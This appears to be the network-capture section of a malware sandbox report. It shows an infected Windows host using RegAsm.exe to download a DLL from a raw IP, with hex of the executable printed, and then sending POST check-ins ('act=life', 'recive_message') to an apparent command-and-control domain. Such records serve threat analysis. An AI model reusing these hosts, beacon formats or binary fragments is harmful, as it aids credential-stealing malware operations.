59 43 77 2b 78 77 2f 57 58 78 47 6e 65 76 6e 5a 6f 56 66 6c 4b 4c 31 69 77 4f 76 51 49 4f 57 67 51 Data Ascii: D47+sYjxhrb7jRDgCLmGY5v9i1HDnovSQBr8D5d/QCoz7t9ticDDSqPMOIw89A8u67ivbIbzBus9H9BDlydBLwq7mlix3M4D2oEp7HVBquuX6ac9uob/cvAS/DqiemzLytuSbLHM3g7DtHHcaNm3boLFajCGywbrdPLcMq5aGHYGC6p4ueS6ZsO0cfho2BNWo9XSCOfrTucha41L3jt4VjLWnzXA6YYCw+xw/WXxGnevnZoVflKL1iwOvQIOWgQ
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 31 52 30 36 59 59 71 77 2b 78 78 4e 57 57 42 61 6e 50 37 67 4b 4f 64 32 71 5a 48 6b 6e 6b 6e 36 51 71 50 52 79 46 79 43 34 2b 4f 45 59 69 78 78 77 4b 76 32 44 79 38 4b 50 45 76 56 38 62 46 7a 67 6a 6e 34 7a 36 4b 50 53 65 78 43 34 70 4b 43 48 73 71 67 38 5a 5a 6c 53 68 2b 30 38 37 4a 57 57 56 64 2b 55 36 58 57 35 47 62 4d 62 36 32 58 38 39 31 48 39 41 33 6c 79 61 6c 4d 68 4f 2f 68 6c 6a 51 30 48 74 79 77 75 78 77 67 47 6c 74 58 6c 65 62 32 63 39 4d 73 6a 49 4c 7a 6c 79 69 35 45 71 4c 52 33 6b 7a 4b 34 37 2f 47 62 44 51 6c 67 37 44 37 44 43 6f 42 4f 77 66 4d 75 4b 4e 36 6a 48 6a 71 6c 36 4c 46 57 2f 70 43 74 39 48 49 54 49 75 67 39 59 63 6b 64 7a 65 52 74 35 31 69 54 56 6c 67 57 70 7a 2b 78 47 62 54 59 71 71 4b 33 4b 4d 6f 75 67 6d 69 6e 59 59 79 38 70 62 Data Ascii: 1R06YYqw+xxNWWBanP7gKOd2qZHknkn6QqPRyFyC4+OEYixxwKv2Dy8KPEvV8bFzgjn4z6KPSexC4pKCHsqg8ZZlSh+087JWWVd+U6XW5GbMb62X891H9A3lyalMhO/hljQ0HtywuxwgGltXleb2c9MsjILzlyi5EqLR3kzK47/GbDQlg7D7DCoBOwfMuKN6jHjql6LFW/pCt9HITIug9YckdzeRt51iTVlgWpz+xGbTYqqK3KMougminYYy8pb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49845	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:42 UTC	194	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:43 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:42 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 May 2024 10:18:21 GMT Connection: close ETag: "6650696d-258600" Accept-Ranges: bytes
2024-05-24 11:42:43 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-05-24 11:42:43 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49851	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:43 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:42:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:42:44 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etjkhvfm481darq1tb6nfclaoo; expires=Tue, 17-Sep-2024 05:29:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKjs1iTzmfj3jj1L9v%2BAmtWMPPA9RvNTw8ux14ONaNYEs4FsnPaYcq1tPc5qbUJGh4a3%2F110Y8If3YbLUZdN%2B2bgCejVmC3Jt2jj4PtkGDsAsD1%2FCDcRZsNXyzKU2Qmr5qyojaL26SXOhQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0622d8a17d1a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:42:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49854	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:44 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:42:44 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:42:45 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=61cmf1adbprqhq74c3mukv1gs5; expires=Tue, 17-Sep-2024 05:29:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5pHAg9dIkegnewHDJxbzdE5Sh7JsujWYMmS%2Fu6SE0t3NgsuDOZjp1uNcPY%2FlyfX2B3Xn8maAoekRBAL9Lw3o152%2BY7MffD2QFYGiEqL4hXL6rbWl7WPJB1t16CTvEWLDgVScKnXBX7gyyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d062b990418ae-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:45 UTC	557	IN	Data Raw: 63 65 30 0d 0a 47 69 79 4a 71 52 69 4e 59 63 6f 4a 2b 36 75 39 77 43 67 4c 78 2b 4e 52 72 71 52 6d 41 2b 57 6c 79 4c 67 37 35 42 33 61 51 77 4e 68 44 76 2b 4c 49 72 6c 4e 36 48 71 65 69 59 65 30 57 6e 36 69 7a 33 50 50 77 45 51 35 67 38 53 6b 79 31 37 49 50 37 38 37 49 53 42 33 38 6f 74 39 34 30 50 77 4b 35 37 42 33 36 46 45 61 61 61 49 50 74 37 49 42 57 75 4a 77 71 44 64 57 49 42 38 74 69 35 6d 66 30 6e 6f 77 33 62 6b 44 4b 4a 6b 32 59 65 66 70 56 49 70 2f 63 45 63 79 39 41 48 54 6f 54 57 6f 35 70 47 79 47 62 34 4a 6d 30 34 46 71 76 49 66 65 38 4e 72 47 32 51 77 39 57 6f 54 47 69 6a 69 53 48 48 77 67 35 72 68 38 47 68 31 31 47 55 63 62 77 70 62 58 6c 44 36 49 73 30 72 77 53 77 4b 38 47 4a 6a 4a 42 4a 65 4c 53 55 50 74 7a 41 52 48 37 4a 33 75 72 64 56 63 Data Ascii: ce0GiyJqRiNYcoJ+6u9wCgLx+NRrqRmA+WlyLg75B3aQwNhDv+LIrlN6HqeiYe0Wn6iz3PPwEQ5g8Sky17IP787ISB38ot940PwK57B36FEaaaIPt7IBWuJwqDdWIB8ti5mf0now3bkDKJk2YefpVIp/cEcy9AHToTWo5pGyGb4Jm04FqvIfe8NrG2Qw9WoTGijiSHHwg5rh8Gh11GUcbwpbXlD6Is0rwSwK8GJjJBJeLSUPtzARH7J3urdVc
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 50 69 39 68 44 75 7a 48 4f 72 64 44 70 6d 36 57 32 39 36 77 54 32 65 33 6a 54 62 4b 79 77 64 76 68 38 4b 74 31 31 65 41 65 4c 73 70 5a 58 6c 41 35 38 46 35 36 77 44 6f 4a 64 6e 4f 78 2b 49 53 4b 5a 53 43 4e 38 76 55 42 32 2f 48 32 4f 54 44 47 59 46 7a 2b 48 6b 68 63 6b 6a 6d 77 6e 48 6f 43 36 52 35 6b 73 62 63 71 30 31 76 72 34 49 37 78 73 41 4b 59 49 44 43 72 63 68 58 6a 58 4b 37 4b 32 63 34 41 4b 76 4d 59 71 39 62 36 45 57 61 32 4d 6d 51 53 58 69 30 77 53 79 43 33 30 52 6d 69 34 66 79 6d 6c 43 4f 63 4c 55 73 61 33 5a 4c 35 73 4a 37 37 67 36 75 59 4a 6a 42 31 36 5a 4e 61 61 47 4d 50 4d 4c 47 43 6d 6d 43 77 36 44 54 47 63 67 2f 76 7a 6b 68 49 41 37 62 78 6e 62 6b 44 2b 70 65 6d 73 66 52 70 56 77 70 75 73 38 71 6a 4d 45 49 49 64 2b 48 75 4e 46 55 68 33 47 Data Ascii: Pi9hDuzHOrdDpm6W296wT2e3jTbKywdvh8Kt11eAeLspZXlA58F56wDoJdnOx+ISKZSCN8vUB2/H2OTDGYFz+HkhckjmwnHoC6R5ksbcq01vr4I7xsAKYIDCrchXjXK7K2c4AKvMYq9b6EWa2MmQSXi0wSyC30Rmi4fymlCOcLUsa3ZL5sJ77g6uYJjB16ZNaaGMPMLGCmmCw6DTGcg/vzkhIA7bxnbkD+pemsfRpVwpus8qjMEIId+HuNFUh3G
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 67 37 73 30 7a 71 33 51 35 35 37 6c 4d 58 78 71 55 5a 67 35 5a 35 39 31 59 59 44 62 63 65 66 36 74 35 56 6a 6e 57 33 4b 47 74 79 51 65 4c 4c 63 75 59 4b 71 32 75 56 7a 39 36 75 52 6d 53 67 67 6a 62 42 77 77 52 74 67 4d 43 72 6d 68 66 47 65 4b 42 68 4f 54 68 2b 35 73 64 78 34 30 47 64 61 4a 66 48 32 4c 51 4b 64 75 75 59 63 38 76 4b 52 44 6e 48 79 4b 76 58 55 34 31 78 74 43 42 68 66 45 33 68 79 33 58 71 42 61 42 69 6d 64 76 59 72 55 74 6f 72 6f 6f 2b 77 73 4d 46 5a 49 43 48 35 4a 70 65 6e 6a 2f 67 59 55 78 52 64 4b 76 55 4e 50 5a 44 72 32 66 5a 6b 5a 2b 6d 51 47 6d 6f 69 7a 6a 44 78 51 4e 76 68 38 71 67 79 46 47 47 66 37 59 6e 59 48 52 4c 36 73 64 35 2f 51 2b 75 5a 70 2f 42 7a 65 49 45 4b 61 4b 5a 63 35 53 47 4a 47 71 4c 78 4b 62 62 58 73 52 65 73 69 4a 71 Data Ascii: g7s0zq3Q557lMXxqUZg5Z591YYDbcef6t5VjnW3KGtyQeLLcuYKq2uVz96uRmSggjbBwwRtgMCrmhfGeKBhOTh+5sdx40GdaJfH2LQKduuYc8vKRDnHyKvXU41xtCBhfE3hy3XqBaBimdvYrUtoroo+wsMFZICH5Jpenj/gYUxRdKvUNPZDr2fZkZ+mQGmoizjDxQNvh8qgyFGGf7YnYHRL6sd5/Q+uZp/BzeIEKaKZc5SGJGqLxKbbXsResiJq
2024-05-24 11:42:45 UTC	8	IN	Data Raw: 56 39 34 51 2b 6d 0d 0a Data Ascii: V94Q+m
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 32 62 33 38 0d 0a 5a 70 50 4b 30 75 49 45 4b 61 4b 5a 63 35 53 47 4b 47 61 4b 36 61 48 57 58 73 5a 67 39 6a 67 68 66 30 4b 72 6b 7a 72 6a 43 61 52 69 6d 63 44 61 71 6b 46 67 6f 49 41 34 79 63 55 43 62 49 6a 4f 75 4e 42 61 69 48 79 30 4c 57 64 35 54 66 6e 44 63 36 39 4e 36 47 79 42 69 59 66 69 61 32 65 6f 6c 54 54 63 68 68 73 76 6e 6f 65 74 31 68 6e 65 50 37 73 67 62 6e 74 50 35 73 31 7a 35 77 4f 75 62 70 62 45 30 61 56 4e 61 61 69 50 50 4d 72 4f 43 57 32 4d 79 61 50 63 57 59 64 31 2b 47 38 68 66 31 61 72 6b 7a 72 66 41 4b 68 72 67 6f 6e 41 37 46 4d 70 6f 6f 31 7a 6c 49 59 57 61 34 37 48 71 64 56 65 67 6e 53 30 4a 47 52 33 54 65 4c 4f 63 2b 45 52 6f 57 57 52 77 64 43 6e 51 57 6d 6f 69 7a 2f 4d 78 55 51 76 78 38 43 79 6d 67 48 47 54 62 55 74 64 33 39 42 71 Data Ascii: 2b38ZpPK0uIEKaKZc5SGKGaK6aHWXsZg9jghf0KrkzrjCaRimcDaqkFgoIA4ycUCbIjOuNBaiHy0LWd5TfnDc69N6GyBiYfia2eolTTchhsvnoet1hneP7sgbntP5s1z5wOubpbE0aVNaaiPPMrOCW2MyaPcWYd1+G8hf1arkzrfAKhrgonA7FMpoo1zlIYWa47HqdVegnS0JGR3TeLOc+ERoWWRwdCnQWmoiz/MxUQvx8CymgHGTbUtd39Bq
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 4b 72 32 4f 56 77 39 79 6c 43 69 66 6c 68 69 75 4d 6e 6b 52 43 6b 4e 65 6e 6d 6b 62 49 5a 76 67 6d 62 54 67 57 71 38 4e 33 35 77 6d 73 62 4a 54 4f 32 61 74 59 59 4b 43 50 4d 38 6a 4e 43 32 65 44 78 4b 72 49 58 34 4a 33 75 79 78 73 64 6b 33 76 69 7a 53 76 42 4c 41 72 77 59 6e 74 72 30 52 79 71 6f 59 69 78 6f 59 62 4c 35 36 48 72 64 59 5a 33 6a 2b 38 4c 33 4e 7a 54 2b 44 41 64 4f 67 4d 72 57 47 5a 78 74 75 68 52 47 4b 6b 67 6a 76 42 79 77 70 72 6a 73 36 74 31 6c 32 42 50 2f 5a 68 5a 6d 41 4f 73 34 74 52 7a 69 36 45 62 49 4f 4a 77 4f 78 54 4b 61 4b 4e 63 35 53 47 43 47 69 4c 7a 61 48 64 55 34 68 32 74 69 70 7a 61 6b 33 76 79 48 50 73 42 4b 46 6c 6d 63 37 61 72 45 31 6f 72 6f 55 35 7a 38 42 45 4c 38 66 41 73 70 6f 42 78 6c 4f 37 49 57 78 69 44 76 53 46 59 36 Data Ascii: Kr2OVw9ylCiflhiuMnkRCkNenmkbIZvgmbTgWq8N35wmsbJTO2atYYKCPM8jNC2eDxKrIX4J3uyxsdk3vizSvBLArwYntr0RyqoYixoYbL56HrdYZ3j+8L3NzT+DAdOgMrWGZxtuhRGKkgjvBywprjs6t1l2BP/ZhZmAOs4tRzi6EbIOJwOxTKaKNc5SGCGiLzaHdU4h2tipzak3vyHPsBKFlmc7arE1oroU5z8BEL8fAspoBxlO7IWxiDvSFY6
